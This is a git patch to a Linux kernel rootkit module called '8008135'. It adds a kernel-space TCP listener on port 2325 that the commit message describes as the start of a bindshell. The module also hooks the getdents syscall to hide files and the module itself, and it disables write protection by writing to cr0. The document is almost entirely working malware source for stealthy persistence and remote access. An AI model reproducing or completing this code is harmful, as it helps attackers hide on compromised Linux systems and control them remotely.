From 28c40257587b2634c9e2b93c9344a6d67b87f323 Mon Sep 17 00:00:00 2001 From: Valentin Lechner Date: Fri, 22 Nov 2019 00:32:36 +0100 Subject: [PATCH] Adding a Socket Server to the Linux Kernel Module Gone a long way from trying to implement a socket bindshell using the standard C-Libraries (which obv. doesn't work in LKM!), then implementing an ASM-Solution only to find out there are problems with the x86/x32 bit and knowing that I have no clue of how to write ASM, I thought of looking into sockets on linux kernel modules - AAAND found one. So the files: * src/50ck3t.c * src/headers/50ck3t.h are basically from https://github.com/abysamross/simple-linux-kernel-tcp-client-server.git Thanks for sharing! There will prob. be some additions and modifications. Makefile: * Some Stuff had to be renamed in the Makefile due to Renaming src/create_sysgen.sh -> src/cr3473_5y563n.sh & Added src/headers/50ck3t.h, src/50ck3t.c Including src/headers/50ck3t.h in 8008135.c Changing Module License to GPL, somehow GPLv3 was a problem to the compiler because of do_exit --- Makefile | 5 +- src/50ck3t.c | 558 +++++++++++++++++++++ src/8008135.c | 7 +- src/{create_sysgen.sh => cr3473_5y563n.sh} | 2 +- src/headers/50ck3t.h | 50 ++ src/headers/8008135.h | 4 +- 6 files changed, 619 insertions(+), 7 deletions(-) create mode 100644 src/50ck3t.c rename src/{create_sysgen.sh => cr3473_5y563n.sh} (89%) create mode 100644 src/headers/50ck3t.h diff --git a/Makefile b/Makefile index b18503c..255fc67 100644 --- a/Makefile +++ b/Makefile @@ -19,12 +19,13 @@ INCL_H := $(PWD)/$(INCL_S)/headers obj-m += $(MNAME).o # Core $(MNAME)-y += src/$(MNAME).o +$(MNAME)-y += src/50ck3t.o # Includes for header files etc ccflags-y := -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H) all: - $(shell $(SRCS_S)/create_sysgen.sh) + $(shell $(SRCS_S)/cr3473_5y563n.sh) $(MAKE) -C $(BUILDDIR) M=$(PWD) modules load: @@ -34,5 +35,5 @@ unload: rmmod $(MNAME) clean: - -rm $(SRCS_H)/sysgen.h + -rm $(SRCS_H)/5y563n.h $(MAKE) -C $(BUILDDIR) M=$(PWD) clean diff --git a/src/50ck3t.c b/src/50ck3t.c new file mode 100644 index 0000000..aace8b3 --- /dev/null +++ b/src/50ck3t.c @@ -0,0 +1,558 @@ +/* + * + * NOTE: + * this is basically this guys code: + * https://github.com/abysamross/simple-linux-kernel-tcp-client-server.git + * his last update was 4 years ago, so there might be some changes, + * there definitely will be some regarding the data received/sent back since + * this is will be used as a bindshell + * but base is his work. + * + */ + +/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */ +/* + * main.c + * Copyright (C) 2019 + * + * 8008135 is free software: you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * 8008135 is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program. If not, see . + */ +/**** includes ***************************************************************** +*******************************************************************************/ +#include "50ck3t.h" + +/**** types ******************************************************************* +*******************************************************************************/ +struct tcp_conn_handler_data{ + struct sockaddr_in *address; + struct socket *accept_socket; + int thread_id; +}; + +struct tcp_conn_handler{ + struct tcp_conn_handler_data *data[MAX_CONNS]; + struct task_struct *thread[MAX_CONNS]; + int tcp_conn_handler_stopped[MAX_CONNS]; +}; + +struct tcp_conn_handler *tcp_conn_handler; + + +struct tcp_server_service{ + int running; + struct socket *listen_socket; + struct task_struct *thread; + struct task_struct *accept_thread; +}; + +struct tcp_server_service *tcp_server; + + + +/**** var ********************************************************************** +*******************************************************************************/ +int tcp_listener_stopped = 0; +int tcp_acceptor_stopped = 0; + + +char *inet_ntoa(struct in_addr *in){ + char *str_ip = NULL; + u_int32_t int_ip = 0; + + str_ip = kmalloc(16 * sizeof(char), GFP_KERNEL); + + if(!str_ip) + return NULL; + else + memset(str_ip, 0, 16); + + int_ip = in->s_addr; + + sprintf(str_ip, "%d.%d.%d.%d", (int_ip) & 0xFF, (int_ip >> 8) & 0xFF, + (int_ip >> 16) & 0xFF, (int_ip >> 16) & 0xFF); + + return str_ip; +} + +int tcp_server_send(struct socket *sock, int id, const char *buf,\ + const size_t length, unsigned long flags){ + struct msghdr msg; + struct kvec vec; + int len, written = 0, left =length; + mm_segment_t oldmm; + + msg.msg_name = 0; + msg.msg_namelen = 0; + msg.msg_control = NULL; + msg.msg_controllen = 0; + msg.msg_flags = flags; + msg.msg_flags = 0; + + oldmm = get_fs(); set_fs(KERNEL_DS); + +repeat_send: + vec.iov_len = left; + vec.iov_base = (char *)buf + written; + + len = kernel_sendmsg(sock, &msg, &vec, left, left); + + if((len == -ERESTARTSYS) || (!(flags & MSG_DONTWAIT) &&\ + (len == -EAGAIN))) + goto repeat_send; + + if(len > 0){ + written += len; + left -= len; + if(left) + goto repeat_send; + } + + set_fs(oldmm); + return written?written:len; +} + +int tcp_server_receive(struct socket *sock, int id,struct sockaddr_in *address,\ + unsigned char *buf,int size, unsigned long flags){ + struct msghdr msg; + struct kvec vec; + int len; + char *tmp = NULL; + + if(sock==NULL){ + pr_info(" *** mtp | tcp server receive socket is NULL| " + " tcp_server_receive *** \n"); + return -1; + } + + msg.msg_name = 0; + msg.msg_namelen = 0; + msg.msg_control = NULL; + msg.msg_controllen = 0; + msg.msg_flags = flags; + + vec.iov_len = size; + vec.iov_base = buf; + +read_again: + if(!skb_queue_empty(&sock->sk->sk_receive_queue)) + pr_info("recv queue empty ? %s \n", + skb_queue_empty(&sock->sk->sk_receive_queue)?"yes":"no"); + + len = kernel_recvmsg(sock, &msg, &vec, size, size, flags); + + if(len == -EAGAIN || len == -ERESTARTSYS) + goto read_again; + + tmp = inet_ntoa(&(address->sin_addr)); + + pr_info("client-> %s:%d, says: %s\n", tmp, ntohs(address->sin_port), buf); + + kfree(tmp); + //len = msg.msg_iter.kvec->iov_len; + return len; +} + +int connection_handler(void *data){ + struct tcp_conn_handler_data *conn_data = + (struct tcp_conn_handler_data *)data; + + struct sockaddr_in *address = conn_data->address; + struct socket *accept_socket = conn_data->accept_socket; + int id = conn_data->thread_id; + + int ret; + int len = 49; + unsigned char in_buf[len+1]; + unsigned char out_buf[len+1]; + + + DECLARE_WAITQUEUE(recv_wait, current); + allow_signal(SIGKILL|SIGSTOP); + + while(1){ + add_wait_queue(&accept_socket->sk->sk_wq->wait, &recv_wait); + + while(skb_queue_empty(&accept_socket->sk->sk_receive_queue)){ + __set_current_state(TASK_INTERRUPTIBLE); + schedule_timeout(HZ); + + if(kthread_should_stop()){ + pr_info(" *** mtp | tcp server handle connection " + "thread stopped | connection_handler *** \n"); + + //tcp_conn_handler->thread[id] = NULL; + tcp_conn_handler->tcp_conn_handler_stopped[id]= 1; + + __set_current_state(TASK_RUNNING); + remove_wait_queue(&accept_socket->sk->sk_wq->wait,\ + &recv_wait); + kfree(tcp_conn_handler->data[id]->address); + kfree(tcp_conn_handler->data[id]); + sock_release(tcp_conn_handler->data[id]->accept_socket); + return 0; + } + + if(signal_pending(current)){ + __set_current_state(TASK_RUNNING); + remove_wait_queue(&accept_socket->sk->sk_wq->wait,\ + &recv_wait); + goto out; + } + } + __set_current_state(TASK_RUNNING); + remove_wait_queue(&accept_socket->sk->sk_wq->wait, &recv_wait); + + + pr_info("receiving message\n"); + memset(in_buf, 0, len+1); + ret = tcp_server_receive(accept_socket, id, address, in_buf, len,\ + MSG_DONTWAIT); + if(ret > 0){ + if(memcmp(in_buf, "HOLA", 4) == 0){ + memset(out_buf, 0, len+1); + strcat(out_buf, "HOLASI"); + pr_info("sending response: %s\n", out_buf); + tcp_server_send(accept_socket, id, out_buf,\ + strlen(out_buf), MSG_DONTWAIT); + } + /* + tmp = inet_ntoa(&(address->sin_addr)); + pr_info("connection handler: %d of: %s %d done sending " + " HOLASI\n", id, tmp, ntohs(address->sin_port)); + kfree(tmp); + */ + if(memcmp(in_buf, "ADIOS", 5) == 0){ + memset(out_buf, 0, len+1); + strcat(out_buf, "ADIOSAMIGO"); + pr_info("sending response: %s\n", out_buf); + tcp_server_send(accept_socket, id, out_buf,\ + strlen(out_buf), MSG_DONTWAIT); + break; + } + } + } + +out: + /* + tmp = inet_ntoa(&(address->sin_addr)); + + pr_info("connection handler: %d of: %s %d exiting normally\n", + id, tmp, ntohs(address->sin_port)); + kfree(tmp); + */ + tcp_conn_handler->tcp_conn_handler_stopped[id]= 1; + kfree(tcp_conn_handler->data[id]->address); + kfree(tcp_conn_handler->data[id]); + sock_release(tcp_conn_handler->data[id]->accept_socket); + //spin_lock(&tcp_server_lock); + tcp_conn_handler->thread[id] = NULL; + //spin_unlock(&tcp_server_lock); + //return 0; + do_exit(0); +} + +int tcp_server_accept(void){ + int accept_err = 0; + struct socket *socket; + struct socket *accept_socket = NULL; + struct inet_connection_sock *isock; + int id = 0; + DECLARE_WAITQUEUE(accept_wait, current); + allow_signal(SIGKILL|SIGSTOP); + socket = tcp_server->listen_socket; + pr_info(" *** mtp | creating the accept socket | tcp_server_accept " + "*** \n"); + + while(1){ + struct tcp_conn_handler_data *data = NULL; + struct sockaddr_in *client = NULL; + char *tmp; + int addr_len; + + accept_err = + sock_create(socket->sk->sk_family, socket->type,\ + socket->sk->sk_protocol, &accept_socket); + + if(accept_err < 0 || !accept_socket){ + pr_info(" *** mtp | accept_error: %d while creating " + "tcp server accept socket | " + "tcp_server_accept *** \n", accept_err); + goto err; + } + + accept_socket->type = socket->type; + accept_socket->ops = socket->ops; + + isock = inet_csk(socket->sk); + + + add_wait_queue(&socket->sk->sk_wq->wait, &accept_wait); + while(reqsk_queue_empty(&isock->icsk_accept_queue)){ + __set_current_state(TASK_INTERRUPTIBLE); + schedule_timeout(HZ); + if(kthread_should_stop()){ + pr_info(" *** mtp | tcp server acceptor thread " + "stopped | tcp_server_accept *** \n"); + tcp_acceptor_stopped = 1; + __set_current_state(TASK_RUNNING); + remove_wait_queue(&socket->sk->sk_wq->wait,\ + &accept_wait); + sock_release(accept_socket); + return 0; + } + + if(signal_pending(current)){ + __set_current_state(TASK_RUNNING); + remove_wait_queue(&socket->sk->sk_wq->wait,\ + &accept_wait); + goto release; + } + + } + __set_current_state(TASK_RUNNING); + remove_wait_queue(&socket->sk->sk_wq->wait, &accept_wait); + + pr_info("accept connection\n"); + + accept_err = + socket->ops->accept(socket, accept_socket, O_NONBLOCK); + + if(accept_err < 0){ + pr_info(" *** mtp | accept_error: %d while accepting " + "tcp server | tcp_server_accept *** \n", + accept_err); + goto release; + } + + client = kmalloc(sizeof(struct sockaddr_in), GFP_KERNEL); + memset(client, 0, sizeof(struct sockaddr_in)); + + addr_len = sizeof(struct sockaddr_in); + + accept_err = + accept_socket->ops->getname(accept_socket,\ + (struct sockaddr *)client,\ + &addr_len, 2); + + if(accept_err < 0){ + pr_info(" *** mtp | accept_error: %d in getname " + "tcp server | tcp_server_accept *** \n", + accept_err); + goto release; + } + + + tmp = inet_ntoa(&(client->sin_addr)); + + pr_info("connection from: %s %d \n", + tmp, ntohs(client->sin_port)); + + kfree(tmp); + + pr_info("handle connection\n"); + + + for(id = 0; id < MAX_CONNS; id++){ + if(tcp_conn_handler->thread[id] == NULL) + break; + } + + pr_info("gave free id: %d\n", id); + + if(id == MAX_CONNS) + goto release; + + data = kmalloc(sizeof(struct tcp_conn_handler_data), GFP_KERNEL); + memset(data, 0, sizeof(struct tcp_conn_handler_data)); + + data->address = client; + data->accept_socket = accept_socket; + data->thread_id = id; + + tcp_conn_handler->tcp_conn_handler_stopped[id] = 0; + tcp_conn_handler->data[id] = data; + tcp_conn_handler->thread[id] = + kthread_run((void *)connection_handler, (void *)data, MODULE_NAME); + + if(kthread_should_stop()){ + pr_info(" *** mtp | tcp server acceptor thread stopped" + " | tcp_server_accept *** \n"); + tcp_acceptor_stopped = 1; + return 0; + } + + if(signal_pending(current)){ + break; + } + + } + + + tcp_acceptor_stopped = 1; + do_exit(0); +release: + sock_release(accept_socket); +err: + tcp_acceptor_stopped = 1; + do_exit(0); +} + +int tcp_server_listen(void) +{ + int server_err; + struct socket *conn_socket; + struct sockaddr_in server; + + DECLARE_WAIT_QUEUE_HEAD(wq); + + allow_signal(SIGKILL|SIGTERM); + + server_err = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP,\ + &tcp_server->listen_socket); + if(server_err < 0){ + pr_info(" *** mtp | Error: %d while creating tcp server " + "listen socket | tcp_server_listen *** \n", server_err); + goto err; + } + + conn_socket = tcp_server->listen_socket; + tcp_server->listen_socket->sk->sk_reuse = 1; + + server.sin_addr.s_addr = INADDR_ANY; + server.sin_family = AF_INET; + server.sin_port = htons(DEFAULT_PORT); + + server_err = + conn_socket->ops->bind(conn_socket, (struct sockaddr*)&server,\ + sizeof(server)); + + if(server_err < 0){ + pr_info(" *** mtp | Error: %d while binding tcp server " + "listen socket | tcp_server_listen *** \n", server_err); + goto release; + } + + server_err = conn_socket->ops->listen(conn_socket, 16); + + if(server_err < 0){ + pr_info(" *** mtp | Error: %d while listening in tcp " + "server listen socket | tcp_server_listen " + "*** \n", server_err); + goto release; + } + + tcp_server->accept_thread = + kthread_run((void*)tcp_server_accept, NULL, MODULE_NAME); + + while(1){ + wait_event_timeout(wq, 0, 3*HZ); + + if(kthread_should_stop()){ + pr_info(" *** mtp | tcp server listening thread" + " stopped | tcp_server_listen *** \n"); + return 0; + } + + if(signal_pending(current)) + goto release; + } + + + sock_release(conn_socket); + tcp_listener_stopped = 1; + do_exit(0); +release: + sock_release(conn_socket); +err: + tcp_listener_stopped = 1; + do_exit(0); +} + +int tcp_server_start(void){ + tcp_server->running = 1; + tcp_server->thread = kthread_run((void *)tcp_server_listen, NULL,\ + MODULE_NAME); + return 0; +} + +int network_server_init(void){ + pr_info(" *** mtp | network_server initiated | " + "network_server_init ***\n"); + tcp_server = kmalloc(sizeof(struct tcp_server_service), GFP_KERNEL); + memset(tcp_server, 0, sizeof(struct tcp_server_service)); + + tcp_conn_handler = kmalloc(sizeof(struct tcp_conn_handler), GFP_KERNEL); + memset(tcp_conn_handler, 0, sizeof(struct tcp_conn_handler)); + + tcp_server_start(); + return 0; +} + +void network_server_exit(void){ + int ret; + int id; + + if(tcp_server->thread == NULL) + pr_info(" *** mtp | No kernel thread to kill | " + "network_server_exit *** \n"); + else + { + for(id = 0; id < MAX_CONNS; id++) + { + if(tcp_conn_handler->thread[id] != NULL) + { + + if(!tcp_conn_handler->tcp_conn_handler_stopped[id]) + { + ret = + kthread_stop(tcp_conn_handler->thread[id]); + + if(!ret) + pr_info(" *** mtp | tcp server " + "connection handler thread: %d " + "stopped | network_server_exit " + "*** \n", id); + } + } + } + + if(!tcp_acceptor_stopped) + { + ret = kthread_stop(tcp_server->accept_thread); + if(!ret) + pr_info(" *** mtp | tcp server acceptor thread" + " stopped | network_server_exit *** \n"); + } + + if(!tcp_listener_stopped) + { + ret = kthread_stop(tcp_server->thread); + if(!ret) + pr_info(" *** mtp | tcp server listening thread" + " stopped | network_server_exit *** \n"); + } + + + if(tcp_server->listen_socket != NULL && !tcp_listener_stopped) + { + sock_release(tcp_server->listen_socket); + tcp_server->listen_socket = NULL; + } + + kfree(tcp_conn_handler); + kfree(tcp_server); + tcp_server = NULL; + } + +} diff --git a/src/8008135.c b/src/8008135.c index cf253f5..e8f42be 100644 --- a/src/8008135.c +++ b/src/8008135.c @@ -20,6 +20,7 @@ /**** includes ***************************************************************** *******************************************************************************/ #include "8008135.h" +#include "50ck3t.h" /**** var ******************************************************************** *******************************************************************************/ @@ -33,7 +34,7 @@ sys_getdents_t sys_getdents_orig = NULL; *******************************************************************************/ asmlinkage long sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, - unsigned int count) { + unsigned int count){ int boff; struct linux_dirent* ent; @@ -54,7 +55,7 @@ asmlinkage long sys_getdents_new(unsigned int fd, // if it has hide prefix or module name anywhere, hide it if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) - || (strstr(ent->d_name, MODULE_NAME) != NULL)) { + || (strstr(ent->d_name, MODULE_NAME) != NULL)) { #if defined DEBUG printk("\n hide prefix or mod name contained!\n"); printk("\n ret %ld\n ", ret); @@ -107,6 +108,7 @@ static int __init init_8008135(void) { write_cr0(read_cr0() | WRITE_PROTECT_FLAG); printk(KERN_INFO "New syscall in place\n"); + network_server_init(); return 0; } @@ -118,6 +120,7 @@ static int __init init_8008135(void) { * RETURNS: - *******************************************************************************/ static void __exit exit_8008135(void) { + network_server_exit(); // allow us to write to read onlu pages write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); // set getdents handler back diff --git a/src/create_sysgen.sh b/src/cr3473_5y563n.sh similarity index 89% rename from src/create_sysgen.sh rename to src/cr3473_5y563n.sh index 50c4126..17d133d 100755 --- a/src/create_sysgen.sh +++ b/src/cr3473_5y563n.sh @@ -1,7 +1,7 @@ #!/usr/bin/env bash SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )" SRCS_H="$SCRIPTPATH""/headers" -SGENH="$SRCS_H""/sysgen.h" +SGENH="$SRCS_H""/5y563n.h" smap="/boot/System.map-$(uname -r)" diff --git a/src/headers/50ck3t.h b/src/headers/50ck3t.h new file mode 100644 index 0000000..b9c7b35 --- /dev/null +++ b/src/headers/50ck3t.h @@ -0,0 +1,50 @@ +/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */ +/* + * main.c + * Copyright (C) 2019 + * + * 8008135 is free software: you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * 8008135 is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program. If not, see . + */ +#ifndef SRC_HEADERS_50CK3T_H_ +#define SRC_HEADERS_50CK3T_H_ + +/**** includes ***************************************************************** +*******************************************************************************/ +#include +#include +#include + +#include +#include + +#include +#include +#include + +#include +#include + +#include +#include +#include +#include + +#define DEFAULT_PORT 2325 +#define MAX_CONNS 16 +#define MODULE_NAME "8008135" + +int network_server_init(void); +void network_server_exit(void); + +#endif /* SRC_HEADERS_50CK3T_H_ */ diff --git a/src/headers/8008135.h b/src/headers/8008135.h index 82df99e..c81cdf3 100644 --- a/src/headers/8008135.h +++ b/src/headers/8008135.h @@ -26,7 +26,7 @@ #include #include #include -#include "sysgen.h" +#include "5y563n.h" /**** Defines ***************************************************************** @@ -44,7 +44,7 @@ /**** Modinfo **************************************************************** *******************************************************************************/ -MODULE_LICENSE("GPLv3"); +MODULE_LICENSE("GPL"); MODULE_AUTHOR("JanKoernerEnterprises"); MODULE_DESCRIPTION("8008135"); MODULE_VERSION("0.1");